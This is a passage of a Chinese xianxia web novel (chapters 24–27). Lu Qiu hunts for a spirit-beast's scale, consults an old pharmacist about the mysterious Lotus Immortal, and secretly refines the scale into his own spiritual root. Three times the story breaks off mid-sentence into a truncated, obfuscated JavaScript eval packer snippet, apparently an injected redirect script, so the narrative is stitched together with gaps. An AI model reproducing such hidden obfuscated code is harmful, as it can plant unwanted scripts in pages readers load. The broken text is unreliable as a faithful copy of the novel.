柳容柯也不说话了,他也没想到自己这十几年能让拔这么多鳞片。 “好了,我给你开个权限,你想来就来,想走就走。”老头从袖子里掏出一块小玉牌,递给陆秋:“这时通行令牌,你拿着,谁拦你你就给谁看,不让过那就是不给我面子。” 陆秋点头谢过他,看着老头走出门后,就和柳容柯商量,两人分工寻找鳞片。不过有一个捷径就是光照,那鳞片在光下会泛出不同的颜色来,所以只要把大批鳞片往光下一放,观察哪块变色即可。 陆秋像是看到了希望,拿的飞快,接着摆在夜明珠下,查看是否变色。这间屋子的窗户是封死的,屋内十分昏暗,所以只能借着夜明珠的光来查看。但现实并没有那么乐观,第一天结束时他们总共才检查了六百片不到,按照这个进度,张掌门把柳容柯放出来了他们都不一定能找到。 晚上回到寝室,陆秋一下也不想动了,那个抽屉本来就重,再加上柳容柯的鳞片,每次都要使足了力气才能拉开,这一天下来他就觉得手臂酸痛,明天一天估计也歇不过来。 24. 老头(2) 云栖月回来的倒是挺早,便和他说了一下情况:张掌门本来就多疑,今天又看到有人在悬赏找值班人的信物,所以断定是值班人可能要逃跑造反,而且不是自己的人,放着他也不是很放心,所以有了替换值班人的想法。 “至少有了想法。”陆秋宽慰自己道:“如果张掌门这边都没有什么希望,你就等着再熬个几十年,等我孩子来吧。” 柳容柯难得没有反驳,貌似真在思考等陆秋孩子来到要等多少年,没过多久不知是在说给陆秋还是说给自己听,说道:“这不是看到希望了嘛。” “但我真的找不动了。”陆秋生无可恋的躺在床上,一条腿还在床边搭着:“能把云栖月叫上一起吗?” “不能。”柳容柯直接否决:“那片鳞有着我大半的功力,是十分抢手的……货物。” 听他说到这里,陆秋问云栖月:“那掌门大概什么时候会换值班人?” 云栖月躺床上摇头:“不知道,反正还得等事情发酵一段时间。” “好吧。”陆秋也躺着,没过多久就听见有讨论的声音从走廊传来,这关着门还能听的这么清楚,这层楼貌似也就只有杜漓能这么大声了。 果然,门被一下打开,杜漓注意到躺在床上半死不活的陆秋,充满活力的拉过椅子,让椅子腿在地上发出“刺啦”声,坐到陆秋床边,问道:“你和云栖月要不要挣钱啊?” “嗯?”陆秋转头和他对视,不解的等他解释。 “今天有人发悬赏诶,报酬还这么高!”杜漓拿出几张悬赏,晃了晃:“听说已经有人找到了,但是悬赏还没有完成,就代表有机会!” “找到什么了?”陆秋坐起来,慢吞吞看着自己上午发的悬赏。 “听说找到鳞片和鱼了。” 陆秋盯着悬赏单,半晌才发出一声疑问:“啊?” 杜漓还是期待的盯着他,证明他没有说错。陆秋连联系柳容柯的心思都没有了,他重新问道:“找到什么了?” “鳞片和鱼。” “哪来的鱼啊?” “有人在食堂后厨发现的!”杜漓说到这里来劲了:“咱们之前不是去了食堂后厨吗,后厨后面还有空间,不知道是谁进去了,就举报说里面不干净。” “然后呢?”陆秋心底咯噔一下。 “然后大家都去看,不知道是怎么搞得,就踩到了机关,露出密室里面一条半死不活的大鱼,那鱼还是活的,身上都被割得一块块的,看着特别膈应。” 陆秋只想把别人注意力转移了,谁能想到他们竟然把四号楼值班人本体扒出来了,他又连忙问道:“那鳞片呢,怎么回事?” “是二号楼的一位大能,直接说自己手中有鳞片,让发悬赏的人去找她。”杜漓一手撑住椅子帮,一边晃了晃手中的单子,又问道:“你去吗?” “我要去药房帮工。”陆秋脑子转得很快,直接找了个理由推脱了,怕杜漓不信,还拿出老头给他的牌子给杜漓看。 杜漓接过牌子翻来覆去看了看,就连褚浣也探头来看,他有些新奇的问陆秋:“你去给玖长老当学徒去了?” “差不多吧。”陆秋糊弄道,因为他也没问老头叫什么,这一说玖长老,他也不确定是谁,但怕褚浣起疑,又补充道:“是个长胡子的老头,那会没有人,看我去了就让我帮工,还说干得不错,让这几天都去。” 褚浣点点头,看起来没有再怀疑,才让陆秋松了一口气。但杜漓还期待的看着他,他难免有些头疼,余光扫到翘着脚躺床上看话本的云栖月,抓着杜漓的肩膀往后一转,对准云栖月道:“他今天还给我说要自力更生,这笔钱虽然对云公子不算多少,但至少是个机会。” 云栖月迟疑的将话本挪开一点,一脸呆滞的看着那两人,听到陆秋说的话后,声音都带上了几分干涩:“我什么时候说的?” “忘了,但我记得你说过的。”陆秋主打的就是一个死不承认,就算说谎也要摆出诚实的表情,因为对方会自己和自己打心理战的。 杜漓也信了,一听到陆秋这话,突然觉得云栖月能够放下云氏的架子,这是一个不可多得的机会,于是他又连忙说道:“你还说过你是想来体验生活的,这不就是机会嘛!” 陆秋一看杜漓又去劝导云栖月,自己重新躺了回去,看似发呆,实则在和柳容柯谈话。刚刚听杜漓说已经有人拿到了鳞片,他第一反应是骗子。 首先,今天老头已经给他说了,鳞片在药房内间,不是所有人都可进去的,就算能进去,又怎么会有人找得这样快。 其次他怀疑是宗门内有人想要诈他,二号楼一群大能,很多都是负责滨水宗安危的,恐怕去了就难回来了。 “我们去吗?”陆秋有点拿不准主意。 “先不去吧。”柳容柯也怀疑,但此时还是小心为上。 “我也这么想,只怕有埋伏。”陆秋给他分析了刚刚的猜测,所以两人再怎么着急都只能先去拉抽屉,先把五十万片翻完了再说。一想到明天还要去找,陆秋就痛苦的把脸埋在被子里无声哀嚎。他的胳膊已经到稍微一动就酸痛得要命的程度,于是就这么呈“大”字型躺在床上,因为床板不够宽他还只能再屈着一条胳膊。 “你为什么胳膊不酸?”陆秋看着哪都正常的柳容柯,心生嫉妒。 “我是灵体啊。”柳容柯露出看着就十分真诚的表情,说道:“关于按摩,我也略有了解。” “你按吧。”陆秋把胳膊伸过去,他本来觉得和之前一样,柳容柯吹吹风,随便按按就好了,谁知柳容柯没着急按,而是先在他周围设了一圈屏障,不让屋内其他人看到。此刻陆秋有点意识到事情可能并没有他想的那样简单,正想开口问怎么回事,柳容柯的手就在他胳膊上用力一按。 等陆秋缓过劲来,可算是知道为什么柳容柯要设屏障了,同时还有些庆幸有了屏障没让其他人发现。他想过按摩的会疼一点,但没想到这跟要剥了皮一样疼,此刻胳膊上的皮都是红的,还在发烫。在他即将要骂出口时,柳容柯比他更快的问他:“你试试,怎么样?” 陆秋动了两下,除了疼的还有些发麻,基本上是不酸了,不过柳容柯没有提前和他说还是让他气愤的,他转过头去又要开口,对方又说:“这还是秋络教的,当时拿我做的例子。” 陆秋刚张开的嘴闭上了,这是他娘以前干的事,现在报应到他身上了。思来想去也没了什么话题,他一把拉过被子蒙上头,意思自己要睡了,但还不足三息的时间,他又一把掀开被子,怒气冲冲的随便蹬上鞋去洗漱。 可晚上他怎么都睡不着了,因为他突然想起自己还有思尘,在找鳞片之前记录不就好了吗。他懊恼着,但也同时想到,思尘的使用时间并非固定,如果真的没有鳞片,他还要去二号楼面对很大的压力,如果到时思尘还不能使用,他的底气就更不剩多少了。 还好没用。陆秋翻了个身,他睡不着,但碍于这个宵禁规矩,他还不能到处逛。但就闭眼等了这么长时间,他突然意识到貌似有哪里不太对。他的床紧靠窗户,外面就是树林,虽说是春天,不至于像夏天那样吵,但至少还会有声音。他没有动作,但此刻心却是提了起来的,因为杜漓睡觉很不老实,动不动就翻身,而现在安静的连其他人呼吸声都没有。 幻境。陆秋直接从床上坐起,又从枕头底下捞出护身刀抵在胸前,警惕的观察周围。房间是空的,证明幻境主人就是针对他来的。他尝试呼唤柳容柯,但怎么也联系不上,更让他心里没了底。 再假装不知道就没意义了,反正自己的一举一动早就暴露在对方的眼下,他干脆直接问道:“请问阁下有何事?” 只听一声轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆秋猛地醒过来,他向脖颈处一摸,果然有一条不起眼的红线,上面栓了片如拇指甲片那样大的鳞片,在月光下闪着漂亮的银白色光芒。 女人没有骗他,还把鳞片给他送了过来,但他又想起女人对他提的要求,不禁一阵后怕。 愣了一会后,他又悄悄解下红绳,连带着鳞片一同放入了芥子空间,确认没有其他气息时才松了口气。 两人就这么找了半个月,但效率是一天比一天低。也不知是什么原因,就连云栖月那边也是毫无进展。掌门之间的竞争貌似已经分出了胜负,在众多势力的支持下,张掌门的话语权到了前所未有的新高度。 “你说……他是怎么想的呢?”陆秋趁着中午能够休息一会,连忙跑到房顶躺着晒晒太阳。天天在密不透风的房间里拉抽屉已经够让人憋屈了,再一直找到天黑,连阳光都见不到,只怕会憋出病来。 “不知道。”柳容柯也有些疲惫,见他这副模样,陆秋懒洋洋的说道:“咱就先歇半天吧,明天再找,我得去拔点草药,不然每次回去身上都没什么药味容易被怀疑。” 柳容柯点头,随后就从陆秋眼前消失,想必是回五号楼补充精力去了。陆秋又等了一柱香的时间,之后直接从房顶跳下,哪里有半分精神不济。他一路小跑,来到正在熬药的老头身边,拉过小板凳在老头身边坐下,语气有些急切:“您知道如果与灵兽签订契约,要怎么做吗?” 老头向炉里扇扇风,目光只是盯着火,说道:“你要和灵兽订契约,得是你主动。” “那灵兽主动呢?” “怎么可能。”老头这才又坐直身子,看向陆秋,把一旁小几上盛满点心的盘子往陆秋那边拥了一下:“灵兽就算主动,也得有主人的同意,不然签不下来的。” 25. 老头(3) “那……”陆秋思考着怎么来形容:“主人如果没同意,但还是被灵兽打了印记呢?” “你都说是印记了。”老头指指盘子:“吃啊,这些太甜了,我吃不惯,你吃。” 陆秋只好挑了几个顺眼的尝尝,但味道不错,就又多拿了几个。 “能私自给对方打印记的不是灵兽了,那得是神兽级别的,打的也不叫契约,叫监视。” 老头这一番话,让陆秋的心又沉下去几分。他一直觉得只有双方都同意联系,柳容柯才能知道他这边的情况,但从这几天的观察来看,柳容柯又何尝不是在监视他呢。 他感到很不公平,拇指不由得掐紧了食指上的储物戒,里面正是柳容柯的那枚被缩小了的鳞片。 柳容柯骗他那是主仆印,想让他帮助自己离开这里,但等他恢复了功力呢?陆秋摸着脖颈,一时不敢下定论。如果那时这个印记并没有被消除,自己就更不是柳容柯的对手,到时又怎么能保证自己的安全呢? 老头把火停了,看着陷入沉思的陆秋问道:“还要洒雄黄酒吗?” “洒,拜托您了。”陆秋点头,又吃了几块方形的甜点才缓过神来。 柳容柯是灵体,让他感到疲惫是十分艰难的,但自从那个女人给自己提醒后,比起柳容柯,他反而更愿意相信老头了。那天他支开柳容柯,在老头熬药的时候潜了进去,指向墙边摆着的坛子,明知故问道:“这些是什么?” “是酒,小娃娃可不能喝。” “我不喝,可以给我吗?” 老头转过头来,盯着他的眼睛,几息后,才有些苦恼的挠了挠头,说道:“你要是拿回去,他们得说老头子对他们不公平,宁愿给个外门弟子都不给他们。” “啊……”陆秋有点失望的看向地板。 “不过为了公平起见,还是都做成点心蒸了吧,让不能喝酒的也能闻个酒香。”老头点点头,自顾自说道:“今年还是第一次以这种方式把酒发出去呢。” 回忆结束,现在老头也知道陆秋到底为什么要找柳容柯的鳞片了,他让陆秋把那锅药端下来,将盖子盖到炉子上面,作为取暖用的火炉。 陆秋也觉到累了,不仅仅是身体,也是精神,仿佛对谁都要保持一定的怀疑才能让自己勉强不走歪路。他想了想,还是问了老头:“您知道滨水宗有哪几位大能吗?” “大能的定义多了去了,你指什么方面?”老头在摇椅上一摇一摇的,看着十分惬意。 “幻境很厉害的那种。” “幻境?”老头叹气,想了想,说:“幻境这方面都藏的很深,一般人不会暴露自己幻境程度的。” “啊?”陆秋一听有些难办,又问:“那种可以随随便便把人拉到幻境中,而且不叫周围人察觉的呢?” “连那个值班人都没发现的吗?” “对,还把联系都给切断了。”陆秋肯定的点点头。 “这个……”老头也皱眉,深吸一口气:“我不确定她是不是还在滨水宗。” 陆秋一听有戏,等着老头说下去。 “她比你爹来的时间还要早很多。”老头开始给他讲。 那时老头刚成为药房主人,正好宗门大比又轮到了滨水宗作为主场,当时的掌门不知从哪儿弄来了个大能,说今年的滨水宗一定能夺下榜首。 他也好奇,但碍于医修的身份,只能在后方治疗他们,无法与其他人见面,所以直到大比结束,都只是在传言中听说这个“神仙”。 之后关于“神仙”的传言不仅没有随着时间的流逝而逐渐淡化,反而越传越烈。 “那天才的传言,是怎样的?”陆秋心底也承认对方强的离谱,但还是想知道她是否从一开始就是如此强大。 “他们说……”老头闭眼,学着当时掌门的语气:“她是神。” “就这样?”陆秋有些摸不着头脑,不知道怎么这一句就能定下她是“神仙”的。 “我起初也不知道。”他不晃了,双手交叠放在腹上:“但总感觉不对劲,因为每个人都这样说,而且就像口令一样,没有一字偏差。” “没有一字偏差?”陆秋傻眼了:“每个人都会有自己的见解吧?怎么可能会一样。” “所以奇怪啊。” 也许是“神仙”太过强大,她从来没有去过药房,正如人们所说,她很强,强到刀枪不入,完全不用任何治疗,所以老头也一直没有见过他。但来老头这里的人越来越少,就连最容易受伤的修者也不再来时,他更品出不对劲了。 终于有一天,他的大弟子从外面回来,兴奋的对他说,神仙治好了他的病。 老头感到十分不可思议,因为这个大弟子的病是从娘胎里带出来的,他无论怎么调整药方,都无法治愈,而这“神仙”却轻而易举的做了他做不到的事。 他看看兴奋的不能自已的徒儿,暗暗下了决心:要找到“神仙”,提防着她,因为他不信天下会有白吃的午餐。 第二日,他便以感谢的理由去见了“神仙”,当他踏进院中,却被惊呆了。院中堆满了大大小小的石像,他们都面朝堂屋大门,神情虔诚,呈跪拜祈祷状。正当他想着要不要回去时,那些石像却移动了,给他开出一条路来,让他前往堂屋。 他只能装作镇定进了屋,但抬头就见堂屋正中的茶几上摆放着十分精美的茶具,而周围的墙上则是挂满了别人赠送的字画。字画很多,密密麻麻的根本看不见墙壁,即使是艺术品,但他一眼望见的,却是上面隐秘提出的愿望。 “请。”面前的女人像是突然出现的,请他坐到自己对面。 他坐下后,对女人道谢,但还是警惕的随时准备逃跑。女人貌似能看透他的想法,只是轻叩一下桌面,他就听见身后传来石头被拖动的声音,他转头看去,见那些石像又排列的整整齐齐,而以他的视角来看,自己仿佛被困在了神龛之中,外面是渴望得到拯救的芸芸众生。他们长着同一张脸,同一张嘴,却在呐喊着不同的心愿。 他感到头疼,便揉了揉太阳穴,当再一抬眼时,面前的茶几没了,大门也没了,只有女人与他面对面盘腿而坐,周围是字画,像有了生命般流动着,泛起一圈圈涟漪。 女人平静的望向他,眼中带着笑意:“你所见,即是我所见,我日日夜夜被困于这里无法动弹。” 老头不知为何突然从心底涌上了怜悯,貌似想说,是他们的错,将你认成了神。 可是话要说出口时,他看着女人像是静止般的笑,又难免觉得十分诡异。好像从刚刚开始,动的就只有字画,女人其实是纹丝不动的。 幻境。他心中也这么想,可是很快又意识到:幻境不该是这样的,他以前经历的幻境很多,没有一个像是这样。但他又无法解释眼前到底是什么,就这样等着女人开口。 女人终于动了,她歪头,莲花冠上的白纱遮住了她的半边脸,但笑容依然没有变化:“你并无所求吗?” 他眼前突然浮现了自己在修行前所度过的日子,百姓苦,众生苦,人们困于碌碌无为的生活,饿死的,病死的,被吃了的,纷纷在他面前化为污泥,爬到他的脚边,抓着他的裤腿要把他往地下带去。 也许正是这样的过去,才让他成为了医修,此刻又见到这样的场景,他也无法保持沉默了:“我想……天下没有苦难。” “我可以做到。”女人还是那样,但他突然感到毛骨悚然,他只敢想想的事情,对方怎么可能会这么轻易的说出口呢。 他屏住呼吸,看向对面,意识到女人并不是在骗他,而是那股力量确实强到任何人都要臣服的程度。 “然后呢?”陆秋嘴里含着的糖半天了也没吃下去,听到这里更是有种身临其境的感觉,也屏住了呼吸。 之后老头回去了,因为女人承诺,会给他一位继承人,他们可以共同去改变这充满苦难的人间。但当他徒弟问道那“神仙”怎样时,他说出了和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可是有的糕点就是凉着吃的啊。”陆秋探头看看盘子,发现这一盘粘嘴的点心也就如意糕不是那么甜,不由得感叹老头还是会挑的。 “不不不,点心是给人吃的,要符合人的口味,不能让人去适应点心。”老头又从桌下的板子中挑出了个碟子,把几块点心放进去,又将碟子放在了炉子上加热。 “为什么不用灵力呢?”陆秋感到疑惑:“生火可以用,加热也可以用,为什么不用呢?” “可能是我年龄大了,不习惯吧。”他拿着蒲扇扇着火,表情透着一丝无奈:“用灵力的话,感觉时间就变快了,我本来可以在这里用火烧开一壶水,这期间听听鸟叫,看看外面的风景,但是用了灵力,火就没了意义,我也没有那个兴致去体验活着了。” 又到了晚上,陆秋回到五号楼,发现柳容柯并不在前台,想着是不是用药太猛,导致对方一时歇不过来。 不来也是好事,能让他完全不受影响的去思考如何应对柳容柯。 但既不能给云栖月说,又不能给老头讲,所以他能想到的就只有秋络了。希望陆夕月别再怼他,让他学着自己去解决问题。 他回来的早,杜漓二人还在练习,云栖月也不知道哪里去了,所以有足够的空间让他去和秋络沟通。他提心吊胆的用玉牌联系上秋络,听到那边秋络的声音传来,突然有了想回去的冲动。 “丝丝,遇到什么问题了?” “大问题。”陆秋语气失落的回答她:“我都快烦死了。” “和室友关系不好吗?” “不是,挺好的。”陆秋想了想,还是设了层屏障作保险:“滨水宗又要换掌门,现在一堆事,天天忙得要命。” “都忙什么?” “忙着找东西。”陆秋也不瞒着她,把事情都说了一遍,还说了自己对柳容柯的顾虑,现在也不敢轻易信别人了。 26. 莲花仙人(1) 秋络静静听他说完,赞同道:“你是对的,保持警惕没有错。” “那我怎么办,我有他的鳞片了,可我不知道怎么让他把印记消除,他要是拿了鳞片反手害我怎么办?” “别急,现在还有很多的时间。”秋络安慰他道:“你找玖长老,他会帮你的。” “但我怎么说,直接让他帮忙我也不放心啊。”陆秋反驳她。 “那就去求神。”陆秋说的很轻松:“他再厉害,也没有神强大。” “神就可信吗?”他想起莲花仙人,以这种方式成神的神,还能称为神吗? “信不信那是你自己的事情了,”秋络还是很有耐心的教他:“有时一句可信的威胁,比一百句承诺要有用。” 第二日上午柳容柯也没出现,陆秋又像往常那样去了药房,并不是他不信玖长老,而是他确实陷入了怀疑的漩涡中。不过比起其他人,貌似只有老头可信,所以他只能寻求老头的帮助了。 老头知道柳容柯给他打了印记,所以也是有些苦恼的,他总不能为了一个外门弟子和值班人大打出手让对方把印记消除。再说了,就算现在让消掉了,也不能保证以后人家不再起这个心思,所以需要一个更强力的后盾才能保证陆秋完全的安全。 正当他思索着要不要去找莲花仙人的时候,陆秋却慢吞吞的说:“如果……他的一半功力都由我控制呢?” “一半?”老头有些诧异的看着陆秋:“你想的太简单,首先你要能找到鳞片,并且是在他不知情的情况下,然后有充分的时间去炼化,将其中的力量与自己的灵根绑定在一起,这样即使把鳞片还给他他也不能随意支配力量。” “如果真的炼成了,那他……” “他当然要听你的了。” “可是他的力量和我的灵根绑到了一起,那他如果出了什么事,我不会受影响吗?” “会啊!”老头看起来还高兴了不少:“他的灵力在你这里就相当于是储存起来,你给多少他有多少,你不给,他就没有,他死了。就全是你的了。” “还有这好事?”陆秋震惊了一下,又问:“那怎么炼化才能不让他发现?他现在给我打了印记啊。” 老头笑道:“还没找到鳞片就想这么多……”他看到陆秋手指一搓,拿出了那枚鳞片。再三确认后他紧张的摁住陆秋的手,探头向窗外望去,即使没有看见人还是把窗户关得死死的。 “跟我来。”他偷偷带着陆秋拉开药房里间的书柜,陆秋一下就认出来,那是通往关着柳容柯的地牢的路。 “值班人在被解除封印前,都无法靠近本体,这里他的神识绝对进不来。”老头带他没有往柳容柯本体那边去,反而是向另一头走去。到了另一头的密室,陆秋才发现那里有一座神像,和那天他见到莲花仙人时那么大。他呆呆的看着神像,手心还握着鳞片,担忧的问道:“我在这里炼鳞片吗?” “对。”老头没有像别人那样上香,而是带了一盘新鲜的如意糕和一壶热茶端到供桌上,随后让陆秋坐到蒲团上,认真的对他说:“你要和她好好说你要什么帮助,她给你出主意,你就听着,别乱说话。” 陆秋使劲点点头,看他这幅模样,老头放心的出了密室。在他把门轻轻带上的瞬间,周边不再是密室,而是和上次一样的星辰棋盘。他面前的供桌不见了,而是一个蒲团,莲花仙人这次和他一样大了,正坐在蒲团上品茶。 陆秋没了上次的警惕,带着恭敬的态度规规矩矩的向对方行了个礼,说道:“在下有一事相求。” “不必如此拘谨。”莲花仙人拿起一块糕点说道:“我已知晓,不必担忧。” “那接下来该怎么做?”陆秋毕竟年龄不大,也沉不住气,说到这里又着急的想要赶快结束柳容柯这件事,至少不再提心吊胆。 莲花仙人此时的话带上了些许安慰的意图,她宣布道:“柳容柯会沉睡,直至你炼鳞完成。” “我要一直在这里吗?” “搬过来。”她直接道:“事以密成。” 从寝室搬过来。陆秋想到,还要找借口,不过能让柳容柯不起疑就已经帮大忙了,他也不能太难以满足,于是又行了一礼:“可炼化之法,在下并没有找到。” 他余光瞄到那盘点心,发现莲花仙人已经在吃最后一块了,他没有听到回答,只是在茶水也喝光,对方放下杯子的瞬间,一本书被扔到了他面前。他迟疑的抬头,发现面前又是供桌,而周围也又回到了最开始的密室。 陆秋捡了书站起来,发现供桌上只有空了的盘子与茶杯,而剩下什么也没有改变。 他走到密室门口,将密室打开,看见坐在门外等着的老头,老头看到他出来,问道:“谈的怎么样?” “谈完了,我之后每天都来炼化鳞片。” “那条蛟那边呢?” “蛟?”陆秋疑惑地皱起眉头,不太确定的问:“柳容柯?” “对。” “他不是蛇吗?”他再一次有了被背叛的感觉,不知道柳容柯还瞒了他多少事。 “他是蛟,等拿回鳞片,估计就是化龙期了。” “化龙期?”他更傻眼了,此刻想想还真要感谢莲花仙人,若不是那天晚上莲花仙人对他的嘱咐,恐怕他就要把鳞片给柳容柯了。到时他就算有再多支援,恐怕都无法躲过化龙期的这条蛟。 “莲花仙人说会让他沉睡至我炼化完成为止。” 老头点点头,起身带他离开密道,路上也絮絮叨叨的提醒他一定要小心,别让太多人知道,毕竟这可是即将化龙的蛟的鳞片,堪比神级丹药,完全炼化后功力大涨,修炼跨级完全不是问题,若是让心怀不轨的知道,只怕会更危险。 陆秋一一应下,他也知道后果的严重性,所以更下定了决心要搬到药房住,理由就是老头要收他做弟子了。 陆秋在中午就回到了寝室,因为修炼一事不可耽搁,他草草收拾了一下被褥和洗漱用品就离开了。不过一起呆了这么长时间,突然换地方还是有些不习惯的,他又用玉简给另外三人写了留言,说自己被玖长老拉去干活,这几天就不回来住了。 既然莲花仙人说了柳容柯会沉睡,他便放心下来,就连脚步都轻快了许多,包括在药房寝室中整理床铺时还在哼歌。 老头看他这副模样,欲言又止,但最终决定还是给他说修炼需要十分注意。陆秋还没等他说完,就郑重地点点头,说道:“我知道,修炼期间容易滋生心魔。” “臭小子,我给你说的是这个吗?”老头见他依旧兴奋听不进话的样子,气得拿蒲扇敲陆秋的头:“这个炼化可是深到灵根中的,可不比洗髓轻松!” 陆秋一听更不屑了,区区洗髓之痛,根本难不倒他,他可是连金丹期两倍雷劫都能扛下来的人。 但等真正开始炼化时,那股感觉就像拿着小锥子在脊柱处一下下的凿着,每一下都牵动着周围肌肉不自觉的抽动,而鳞片的进入又像是在被凿开的骨头处塞上一团坚冰,让本就疼痛的脊骨更无法挺直。到了最后一点时,他保持着打坐的姿势,但无法保持平衡了,就只好双手紧扣双膝,直到冰凉的触感传来,他才意识到膝盖处的布料已经被手汗浸湿了。 老头等他出来,见他连走路都不稳,还在旁边扶着他,口中啧啧道:“是谁中午还说易如反掌的?” 陆秋也没心思听他的打趣了,得亏从莲花仙人后药房就一直没有多少人,不然看到他们这样,都分不清到底谁更虚弱一点。 药房虽然偏僻冷清,但好在有温泉,不用像其他地方那样需要自己打水沐浴。温泉中有老头又特地调制的药,一是能很好的促进他对鳞片的吸收,二是能解除他的部分疼痛,陆秋泡了一会觉得自己缓过来了,又开始得意喃喃道:“就这点疼?” “这才吸收多少?”老头路过屏风狠狠打击他:“你想完全吸收好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有,有很多。”老头继续数:“在浮海城还是一个小地方的时候,经常发大水淹城,他来到后教人们把地下挖穿,又找了廉价的材料做成筒状埋在地下,从此大水都顺着那个筒流到了别处,浮海城才真正成为人们愿意来的地方,逐渐发展壮大。” “地下排水?我们家族也有。”陆秋知道这个。 “对,”老头点头:“还有数不清的功绩,玉简与地下排水也只是一小部分,我们今天用的很多东西都是他做出来的。” “那他到底是何方神圣?”陆秋这会也有些相信那人是从别的地方来的了。 “他说他所在的世界是我们永远无法触及的。” 陆秋下巴抵着手背,过了好一会才问道:“真的是这样吗?” “不知道。”老头看向陆秋,笑着说道:“不过他还是会出现在各个角落,没准哪天你遇到一个行为举止都很怪异的人,就是他呢。” “那和疯子有什么两样?”陆秋也笑,如果在大街上遇到这个人,自己可能真的会把对方当作离经叛道的疯子而忽视掉。 老头不再进行这个话题,转而移到了莲花仙人身上:“莲花仙人虽然出现的晚,但补上了许多那位大能没能做到的地方。” “哪些地方?” “女弟子能和男弟子在一个课堂上,就是一大进展了。” “以前不能吗?” “当然不能!”老头瞪了他一眼:“以前女人出门都是不合规矩的!” “莲花仙人怎么让她们出来的?” “不能说让她们出来,而是说服男人们给女人自由。”老头纠正道:“当时那位大能在浮海城已经是一手遮天的存在,如果想有动作,就必须经过他的同意。但是呢……你知道的,那种男人多少都比较花。” 老头冲陆秋挤眉弄眼,陆秋立刻明白了。 27. 莲花仙人(2) “哦……”陆秋还忘了这一茬,那位大能做的贡献再大,也只是从生活入手的,而莲花仙人则是从人的角度去改变他们的思想。 “我们本以为他们会大战一场,但莲花仙人只是让追捧者送了一封信,那位大能就从浮海城离开了,从此没有再这么大张旗鼓的出现过。” 这时晚风轻拂过院中树叶,发出悉悉索索的声响,同样吹过院中的两人,陆秋像是突然想起了什么,又问:“莲花仙人喜欢吃如意糕吗?” “应该……喜欢的吧?”老头回答的含糊不清:“反正以前还没飞升的时候,只要是点心,她就只拿如意糕吃。” “明天要不要做些别的?”陆秋提议到:“我见药房里还有好多东西都没有用,干脆看看还可以做什么点心。” “你去做就是了。”老头刚要夸他能为粮食着想时,就看见陆秋盯着自己。 半晌,陆秋理直气壮的说:“我不会。” “不会就学!”老头被他气得无论是伤感还是不舍通通忘在了脑后,现在只想着自己到底做了什么伤天害理的事怎么摊上了这么个祖宗。 鳞片已经炼化三分之一,其实这就已经足够了,其次陆秋也不想多受罪了,所以就能往后拖一天是一天,但他又怕老头说他没有上进心,所以第二天他起的比老头都早,从芥子空间翻出来存了好几年的点心配方放在桌上就去洗漱更衣。 这本配方还是陆夕月给他的,上面尽是一些秋络爱吃的点心,但他拿到后除了感觉新鲜翻了几页,剩下时间就一直扔在芥子空间没碰过,今天用上了,他还感慨多亏自己有先见之明,把这本书留了下来。 回来时发现书页已经被翻开,他去到窗前检查了一下,确定窗户被从里面关的死死的,又把手放在书边感受了一下确定没有风吹,才迟疑的看向那被翻开的一页。 翻开的那页是绿豆糕,但他记得昨天检查库存时并没有绿豆,就苦恼的小声说了一句:“没有绿豆了。” 然后书就像有意识般又往后“哗哗”翻了几页,在陆秋诧异的目光中翻到了鲜花饼。 他呆了两秒,用拇指和食指夹住前面的那页翻过去,但当他松手时,书又翻回了那一页。 “你……是书灵吗?”陆秋微微弯腰神色紧张的盯着书看,不过这次书没有再自己翻动,而是一声稚嫩的笑声从他的脚边传来。他向下看去,是一个石头雕的小神像,见他看到自己,还蹦了两下。 陆秋下意识想要攻击,但突然想到这里还有莲花仙人的神像,那些会害人的东西不一定能进来,既然莲花仙人没有警示,那么就代表这个小东西应该没有多大的害处。他慢慢蹲下来,还是有些紧张的看着小石像,问道:“你要吃鲜花饼吗?” 小石像一下蹦到了桌面上,明明是石头,却没有发出任何声音,轻盈的就像被拿着的玩具一般。不知怎么回事,陆秋从它那张平静的脸上竟然看出了几分期待,只好叹气道:“还要熬花酱的,现在院中没有花了。” 小石像转过去面向窗户,又向那边歪了歪身子,示意陆秋打开窗户。 陆秋听话的打开窗子,就在一刹那,一阵强风顺着窗户吹了进来,强得几乎让人睁不开眼。他双臂紧挡在面前,直到那阵强风渐渐变弱,变成阳光洒进屋内。 陆秋感到胳膊肘被撞了两下,他慢慢睁开眼,发现窗户外不是药房的院子了,而是一片红色花田。此刻应该是清晨,但窗外是傍晚,橙红色的云一直蔓延到天边,于地平线与金白色的太阳融合起来,分割了地面与天空。 小石像又拱了他两下,随后跳上窗沿,示意他跟上来。陆秋往后看了眼紧闭的房门,心里还是有些顾虑,但想着摘一点就回来,便只在原地留下了个简易的传送阵,随后两手一撑窗沿,手臂上挂着篮子就翻过窗子跳到了花田中。 “这些都可以摘吗?”陆秋扭头问脚边的小石像。 小石像又在原地蹦了两下,这时陆秋耳边突然传来了催促:“快点摘,在太阳落下前回去!” “你会说话?”他再看去,但小石像仿佛就只是石像了,一动不动。此时太阳的底边轮廓已经与地平线相接,他只好弯腰一把抓住小石像放进篮中,随后迅速开始摘起窗子附近的花。即使他在屋中留下了一个简易的传送阵,但他还是不敢把时间卡的太死,因为是第一次来到这里,所以不知道会不会触发什么禁忌导致无法传送,还是保险点好。 陆秋摘了大半篮花,时刻盯着天边落日的情况,就在已经落下一半时决定回去。小石像在篮子中动了几下,从一堆花中探出头来问道:“不摘了吗?” 